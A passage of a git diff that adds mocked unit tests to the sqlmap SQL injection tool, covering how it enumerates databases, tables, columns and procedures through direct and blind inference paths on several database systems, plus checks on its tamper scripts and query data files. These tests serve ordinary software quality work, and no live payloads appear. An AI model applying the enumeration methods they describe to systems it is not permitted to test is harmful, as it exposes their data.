"public"]) + + def test_get_dbs_mysql_no_information_schema(self): + # MySQL < 5: query2 / count2 branch; still inband under conf.direct. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.has_information_schema = False + dbmod.inject.getValue = lambda query, *a, **k: [["mysql"], ["app"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["app", "mysql"]) + + def test_get_dbs_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + + names = ["alpha", "beta", "gamma"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + val = names[state["i"]] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), sorted(names)) + + def test_get_dbs_fallback_to_current(self): + # No dbs returned inband -> falls back to current database. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + return None # getDbs inband: nothing + return "fallbackdb" # getCurrentDb + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(result, ["fallbackdb"]) + + +class TestGetTables(_BaseEnumTest): + def test_get_tables_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["testdb", "users"], ["testdb", "posts"]] + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), ["posts", "users"]) + + def test_get_tables_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedTables = {"db": ["t1"]} + + def _boom(*a, **k): + raise AssertionError("must not query when cachedTables is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getTables(), {"db": ["t1"]}) + + def test_get_tables_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + conf.db = "public" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["public", "accounts"]] + result = d.getTables() + self.assertEqual(result.get("public"), ["accounts"]) + + def test_get_tables_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + + tables = ["t_a", "t_b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(tables)) + val = tables[state["i"] % len(tables)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), sorted(tables)) + + +class TestGetColumns(_BaseEnumTest): + def _run_direct(self, dbms, db, tbl, rows): + set_dbms(dbms) + conf.direct = True + d = self._fresh() + conf.db = db + conf.tbl = tbl + dbmod.inject.getValue = lambda query, *a, **k: rows + return d.getColumns() + + def test_columns_direct_mysql(self): + result = self._run_direct("MySQL", "testdb", "users", [["id", "int"], ["age", "int"]]) + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + self.assertEqual(cols.get("id"), "int") + self.assertEqual(cols.get("age"), "int") + + def test_columns_direct_pgsql(self): + result = self._run_direct("PostgreSQL", "public", "users", [["id", "integer"]]) + self.assertEqual(result["public"]["users"].get("id"), "integer") + + def test_columns_direct_oracle_uppercase(self): + # Oracle is an UPPER_CASE dbms: conf.db/tbl get upcased internally. + result = self._run_direct("Oracle", "system", "users", [["ID", "NUMBER"]]) + # Oracle quotes the identifier ("SYSTEM"); assert the column landed regardless. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("ID"), "NUMBER") + + def test_columns_direct_mssql(self): + result = self._run_direct("Microsoft SQL Server", "master", "users", [["id", "int"]]) + # MSSQL wraps the db identifier in [brackets]; assert the column landed. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("id"), "int") + + def test_columns_only_names(self): + # onlyColNames is ONLY read in the inference branch (the INBAND path + # ignores it), so drive the blind inference path like + # test_columns_inference_mysql but with onlyColNames=True. The flag must + # SUPPRESS the type lookup: each column's value lands as None instead of + # the real type. Asserting cols.get("id") is None proves the flag took + # effect (otherwise the type query would run and return "int"). + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0} + type_queries = {"n": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # With onlyColNames the second-stage type query (blind.query2, which + # selects column_type) must NEVER be issued. + if "column_type" in query.lower(): + type_queries["n"] += 1 + return ["int"] + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getColumns(onlyColNames=True) + cols = result["testdb"]["users"] + # both column names enumerated... + self.assertEqual(len(cols), len(colnames)) + self.assertIn("id", cols) + # ...but their types were suppressed (None), and no type query ran. + self.assertIsNone(cols.get("id")) + self.assertEqual(type_queries["n"], 0) + + def test_columns_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0, "names": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # alternate: column name then its type + if state["names"]: + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + state["names"] = False + return [val] + else: + state["names"] = True + return ["int"] + + dbmod.inject.getValue = gv + result = d.getColumns() + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + # both columns enumerated (reserved words like "name" get quoted, so count, not exact keys) + self.assertEqual(len(cols), len(colnames)) + self.assertEqual(cols.get("id"), "int") + + +class TestGetCount(_BaseEnumTest): + def test_count_single_table_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + dbmod.inject.getValue = lambda query, *a, **k: "42" + result = d.getCount() + self.assertEqual(result, {"testdb": {42: ["users"]}}) + + def test_count_dotted_table_splits_db(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = None + conf.tbl = "shop.orders" + dbmod.inject.getValue = lambda query, *a, **k: "7" + result = d.getCount() + self.assertEqual(result, {"shop": {7: ["orders"]}}) + + def test_count_multiple_tables(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users,posts" + counts = {"users": "3", "posts": "5"} + + def gv(query, *a, **k): + # the table name appears in the FROM clause of the generated query + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"][3]) + self.assertIn("posts", result["testdb"][5]) + + +class TestGetStatements(_BaseEnumTest): + def test_statements_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT 1"], ["SELECT 2"]] + result = d.getStatements() + self.assertEqual(sorted(result), ["SELECT 1", "SELECT 2"]) + + def test_statements_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT now()"]] + result = d.getStatements() + self.assertEqual(result, ["SELECT now()"]) + + def test_statements_inference(self): + set_dbms("PostgreSQL") + self._enable_inference() + d = self._fresh() + stmts = ["SELECT a", "SELECT b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(stmts)) + val = stmts[state["i"] % len(stmts)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getStatements() + self.assertEqual(sorted(result), sorted(stmts)) + + +class TestGetSchema(_BaseEnumTest): + def test_schema_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + conf.col = None + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + # getTables call + return [["testdb", "users"]] + # getColumns call + return [["id", "int"]] + + dbmod.inject.getValue = gv + result = d.getSchema() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"]) + self.assertEqual(result["testdb"]["users"].get("id"), "int") + + +class TestGetProcedures(_BaseEnumTest): + def test_procedures_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["proc_a"], ["proc_b"]] + result = d.getProcedures() + self.assertEqual(sorted(result), ["proc_a", "proc_b"]) + + def test_procedures_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + procs = ["sp_one", "sp_two"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(procs)) + val = procs[state["i"] % len(procs)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getProcedures() + self.assertEqual(sorted(result), sorted(procs)) + + +# --------------------------------------------------------------------------- # +# Inference / brute-force branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop (one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 00000000000..ef4207fd4d6 --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Repo / data-file invariants - the cheap structural guards that catch whole +bug classes seen this session: tamper contract, per-DBMS query-tag coverage, +errors.xml regex compilation, XML well-formedness, and source ASCII-safety +(the py2 'no coding header' constraint). +""" + +import os +import re +import sys +import glob +import importlib +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + + +class TestTamperContract(unittest.TestCase): + def test_every_tamper_has_contract(self): + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + self.assertGreater(len(names), 50) # sanity: we expect ~70 + for name in names: + mod = importlib.import_module("tamper.%s" % name) + self.assertTrue(callable(getattr(mod, "tamper", None)), msg="%s: no tamper()" % name) + self.assertTrue(hasattr(mod, "__priority__"), msg="%s: no __priority__" % name) + # dependencies() is OPTIONAL (e.g. randomcomments omits it); if present it must be callable + dep = getattr(mod, "dependencies", None) + self.assertTrue(dep is None or callable(dep), msg="%s: non-callable dependencies" % name) + + def test_every_tamper_priority_is_valid(self): + # __priority__ must be one of the PRIORITY enum values (or None) - a typo'd priority + # silently mis-orders the tamper chain (_setTamperingFunctions sorts on it) + from lib.core.enums import PRIORITY + valid = set(v for n, v in vars(PRIORITY).items() if not n.startswith("_")) + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + for name in names: + mod = importlib.import_module("tamper.%s" % name) + priority = getattr(mod, "__priority__", None) + self.assertTrue(priority is None or priority in valid, + msg="%s: __priority__ %r is not a PRIORITY value" % (name, priority)) + + +class TestQueriesXmlCoverage(unittest.TestCase): + CORE_TAGS = ("cast", "substring", "length", "count", "inference", "comment") + + def test_every_dbms_has_core_tags(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + dbmses = tree.findall(".//dbms") + self.assertGreaterEqual(len(dbmses), 25) + for dbms in dbmses: + present = set(child.tag for child in dbms.iter()) + missing = [t for t in self.CORE_TAGS if t not in present] + self.assertEqual(missing, [], msg="%s missing core tags: %s" % (dbms.get("value"), missing)) + + def test_column_comment_queries_format_with_three_args(self): + # Regression: getColumns() formats every column_comment query with exactly (db, tbl, name) + # via '%'-formatting (plugins/generic/databases.py). A literal LIKE wildcard that is not + # escaped to '%%' (or a wrong placeholder count) raises at format time and aborts + # '--columns --comments' before any request. Vertica's entry had 'LIKE '%.%s'' (ValueError). + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + for dbms in tree.findall(".//dbms"): + for node in dbms.iter("column_comment"): + query = node.get("query") + if query: + try: + query % ("db", "tbl", "col") + except (ValueError, TypeError) as ex: + self.fail("%s column_comment query cannot be formatted with (db, tbl, name): %r (%s)" + % (dbms.get("value"), query, ex)) + + + def test_tds_table_queries_carry_the_owner(self): + # Regression: safeSQLIdentificatorNaming() prepends DEFAULT_MSSQL_SCHEMA ('dbo.') to any MSSQL or + # Sybase table name that has no dot in it. A query that projects the bare name therefore + # makes every table owned by anyone but dbo unreachable: --columns/--count/--dump all end up asking + # for 'db.dbo.
    '. Both dialects must join sysusers and project '.
    '. + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + seen = 0 + for dbms in tree.findall(".//dbms"): + if dbms.get("value") not in ("Microsoft SQL Server", "Sybase"): + continue + for node in dbms.iter("tables"): + query = (node.find("inband") if node.find("inband") is not None else node).get("query") or "" + if not query: + continue + seen += 1 + self.assertIn("sysusers", query, msg="%s does not resolve the table owner" % dbms.get("value")) + self.assertIn("+'.'+", query, msg="%s does not qualify the table with its owner" % dbms.get("value")) + self.assertEqual(seen, 2) + + def test_sybase_catalog_queries_take_the_argument_count_the_plugin_passes(self): + # plugins/dbms/sybase/enumeration.py formats these with ((db,) * 7) and (db, db, db, db, db, table). + # pivotDumpTable() then selects '.name' (and '.usertype'), so those output column + # names have to survive the projection. + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + sybase = [_ for _ in tree.findall(".//dbms") if _.get("value") == "Sybase"][0] + tables = sybase.find("tables").find("inband").get("query") + columns = sybase.find("columns").find("inband").get("query") + self.assertEqual(tables.count("%s"), 7) + self.assertEqual(columns.count("%s"), 6) + self.assertIn("AS name", tables) + self.assertIn("usertype", columns) + # the table has to be resolved by owner, not by a bare sysobjects.name match: two owners can hold + # a same-named table, and matching on the name alone returned both tables' columns merged + self.assertIn("object_id(", columns) + self.assertNotIn("sysobjects.name='%s'", columns) + + +class TestErrorsXmlCompile(unittest.TestCase): + def test_all_error_regexes_compile(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "errors.xml")) + regexes = [e.get("regexp") for e in tree.findall(".//error")] + self.assertGreater(len(regexes), 100) + for rgx in regexes: + try: + re.compile(rgx) + except re.error as ex: + self.fail("errors.xml regex does not compile: %r (%s)" % (rgx, ex)) + + +class TestXmlWellFormed(unittest.TestCase): + def test_core_xml_parses(self): + for rel in ("queries.xml", "boundaries.xml", "errors.xml", + os.path.join("payloads", "boolean_blind.xml"), + os.path.join("payloads", "union_query.xml")): + path = os.path.join(ROOT, "data", "xml", rel) + ET.parse(path) # raises on malformed + + def test_banner_xml_parses(self): + for path in glob.glob(os.path.join(ROOT, "data", "xml", "banner", "*.xml")): + ET.parse(path) # raises on malformed + + +class TestSourceAsciiSafety(unittest.TestCase): + # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. + # This guards the exact regression introduced (and fixed) earlier this session. + CODING_RE = re.compile(b"coding[:=]\\s*([-\\w.]+)") + + def test_lib_and_plugins_are_ascii(self): + offenders = [] + for base in ("lib", "plugins"): + for path in glob.glob(os.path.join(ROOT, base, "**", "*.py"), recursive=True) if sys.version_info >= (3, 5) \ + else self._walk(os.path.join(ROOT, base)): + with open(path, "rb") as f: + head = f.read(256) + data = head + f.read() + if self.CODING_RE.search(head): # explicit coding header -> non-ASCII allowed + continue + try: + data.decode("ascii") + except UnicodeDecodeError: + offenders.append(os.path.relpath(path, ROOT)) + self.assertEqual(offenders, [], msg="non-ASCII source w/o coding header (breaks py2): %s" % offenders) + + @staticmethod + def _walk(top): + for dirpath, _, files in os.walk(top): + for fn in files: + if fn.endswith(".py"): + yield os.path.join(dirpath, fn) + + +class TestSettingsIntegrity(unittest.TestCase): + def test_milestone_and_version(self): + from lib.core.settings import HASHDB_MILESTONE_VALUE, VERSION + self.assertTrue(HASHDB_MILESTONE_VALUE) + self.assertTrue(re.match(r"^\d+\.\d+\.\d+", VERSION), msg="unexpected VERSION %r" % VERSION) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datatypes.py b/tests/test_datatypes.py new file mode 100644 index 00000000000..0bdb18a0059 --- /dev/null +++ b/tests/test_datatypes.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core data structures: AttribDict, OrderedSet, LRUDict, BigArray. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.datatype import AttribDict, OrderedSet, LRUDict +from lib.core.bigarray import BigArray + + +class TestAttribDict(unittest.TestCase): + def test_attr_access(self): + a = AttribDict({"x": 1}) + self.assertEqual(a.x, 1) + a.y = 2 + self.assertEqual(a["y"], 2) + self.assertEqual(a.get("missing", "def"), "def") + + def test_missing_attr_raises(self): + a = AttribDict() + self.assertRaises(AttributeError, lambda: a.nope) + + +class TestOrderedSet(unittest.TestCase): + def test_order_and_dedup(self): + s = OrderedSet() + for v in [3, 1, 3, 2, 1, 2]: + s.add(v) + self.assertEqual(list(s), [3, 1, 2]) + self.assertIn(2, s) + self.assertNotIn(9, s) + self.assertEqual(len(s), 3) + + +class TestLRUDict(unittest.TestCase): + def test_capacity_eviction(self): + l = LRUDict(capacity=2) + l["a"] = 1 + l["b"] = 2 + _ = l["a"] # touch 'a' so 'b' becomes least-recently-used + l["c"] = 3 # evicts 'b' + self.assertEqual(sorted(l.keys()), ["a", "c"]) + self.assertNotIn("b", l) + + def test_values_retained(self): + l = LRUDict(capacity=3) + for i, k in enumerate("abc"): + l[k] = i + self.assertEqual(l["a"], 0) + self.assertEqual(l["c"], 2) + + def test_capacity_one(self): + # extreme: each write evicts the previous key + l = LRUDict(capacity=1) + l["x"] = 1 + l["y"] = 2 + self.assertNotIn("x", l) + self.assertEqual(l["y"], 2) + self.assertEqual(list(l.keys()), ["y"]) + + +class TestBigArray(unittest.TestCase): + def test_basic_ops(self): + b = BigArray() + for i in range(50): + b.append(i) + self.assertEqual(len(b), 50) + self.assertEqual(b[0], 0) + self.assertEqual(b[49], 49) + self.assertEqual(b[-1], 49) # negative indexing + self.assertEqual(list(b)[:3], [0, 1, 2]) + + def test_empty_index_raises(self): + self.assertRaises(IndexError, lambda: BigArray()[0]) + + def test_roundtrip_values(self): + b = BigArray() + data = list(range(100)) + for v in data: + b.append(v) + self.assertEqual([b[i] for i in range(len(b))], data) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py new file mode 100644 index 00000000000..97325506378 --- /dev/null +++ b/tests/test_dbms_enum.py @@ -0,0 +1,726 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), +driven through each full DBMS handler with the injection layer mocked, so the +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True and inject.getValue is stubbed with canned result rows; +conf.batch=True avoids interactive prompts. + +Consolidated from former tests/test_dbms_enum.py (Microsoft SQL Server), +tests/test_dbms_enum_a.py (Oracle/PostgreSQL/MySQL/SQLite) and +tests/test_dbms_enum_b.py (Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject + + +# --------------------------------------------------------------------------- +# Base for Microsoft SQL Server getTables (former test_dbms_enum.py) +# --------------------------------------------------------------------------- + +class _EnumBaseMSSQL(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate.""" + module = None # the enumeration module whose inject.getValue we patch + + def setUp(self): + self._direct = conf.direct + self._db = conf.db + self._gv = self.module.inject.getValue + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + conf.direct = True + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + + def tearDown(self): + conf.direct = self._direct + conf.db = self._db + self.module.inject.getValue = self._gv + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + + +class TestMSSQLServerEnum(_EnumBaseMSSQL): + import plugins.dbms.mssqlserver.enumeration as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + def test_get_tables(self): + # one database (conf.db), single-column rows: getTables keys the cache by + # the db loop variable and stores the rows run through + # arrayize -> unArrayize -> safeSQLIdentificatorNaming -> sorted(). + conf.db = "appdb" + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT else [["users"], ["products"], ["customers"]] + ) + self._handler().getTables() + tables = kb.data.cachedTables + self.assertEqual(list(tables.keys()), ["appdb"]) + stored = tables["appdb"] + # value is a real sorted list (the final sort step), not an echo of input + self.assertEqual(stored, sorted(stored)) + # MSSQL qualifies bare names with the dbo schema; assert exact membership + self.assertIn("dbo.users", stored) + self.assertEqual(stored, ["dbo.customers", "dbo.products", "dbo.users"]) + + def test_get_tables_multiple_dbs(self): + # exercise the per-database keying with two DBs (conf.db = "a,b"): each db + # in the loop gets its OWN sorted table list. Rows are single-column; + # unArrayizeValue collapses each 1-tuple row to the scalar table name. + conf.db = "appdb,salesdb" + + def getValue(q, *a, **k): + if k.get("expected") == EXPECTED.INT: + return 3 + # the query carries the db name (%s substituted); route per database + if "appdb" in q: + return [["users"], ["sessions"], ["accounts"]] + return [["orders"], ["invoices"]] + + self.module.inject.getValue = getValue + self._handler().getTables() + tables = kb.data.cachedTables + # exactly the two requested databases, each mapped to its own sorted list + self.assertEqual(sorted(tables.keys()), ["appdb", "salesdb"]) + self.assertEqual(tables["appdb"], ["dbo.accounts", "dbo.sessions", "dbo.users"]) + self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) + + +# --------------------------------------------------------------------------- +# Base for Oracle/PostgreSQL/MySQL/SQLite (former test_dbms_enum_a.py) +# --------------------------------------------------------------------------- + +class _EnumBaseA(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. 